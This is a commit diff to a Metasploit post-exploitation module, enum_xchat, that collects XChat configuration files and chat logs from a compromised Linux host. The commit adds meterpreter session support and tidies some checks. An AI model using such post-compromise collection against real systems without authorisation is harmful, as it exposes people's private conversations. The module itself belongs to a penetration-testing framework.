Fix enum_xchat to work with meterpreter
parent
b47650580a
commit
73fdc06d1d
|
@ -20,11 +20,11 @@ class Metasploit3 < Msf::Post
|
|||
.log files.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r'],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Author' => ['sinn3r'],
|
||||
'Platform' => ['linux'],
|
||||
# linux meterpreter is too busted to support right now,
|
||||
# will come back and add support once it's more usable.
|
||||
'SessionTypes' => [ 'shell' ],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Actions' =>
|
||||
[
|
||||
['CONFIGS', { 'Description' => 'Collect XCHAT\'s config files' } ],
|
||||
|
@ -62,7 +62,7 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def whoami
|
||||
user = cmd_exec("whoami").chomp
|
||||
user = cmd_exec("/usr/bin/whoami").chomp
|
||||
return user
|
||||
end
|
||||
|
||||
|
@ -120,7 +120,7 @@ class Metasploit3 < Msf::Post
|
|||
files.each do |f|
|
||||
vprint_status("#{@peer} - Downloading: #{base + f}")
|
||||
buf = read_file(base + f)
|
||||
next if buf.empty?
|
||||
next if buf.blank?
|
||||
config << {
|
||||
:filename => f,
|
||||
:data => buf
|
||||
|
@ -139,7 +139,7 @@ class Metasploit3 < Msf::Post
|
|||
@peer = "#{session.session_host}:#{session.session_port}"
|
||||
|
||||
user = whoami
|
||||
if user.nil?
|
||||
if user.blank?
|
||||
print_error("#{@peer} - Unable to get username, abort.")
|
||||
return
|
||||
end
|
||||
|
@ -149,8 +149,8 @@ class Metasploit3 < Msf::Post
|
|||
configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i
|
||||
chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i
|
||||
|
||||
save(:configs, configs) if not configs.empty?
|
||||
save(:chatlogs, chatlogs) if not chatlogs.empty?
|
||||
save(:configs, configs) unless configs.empty?
|
||||
save(:chatlogs, chatlogs) unless chatlogs.empty?
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue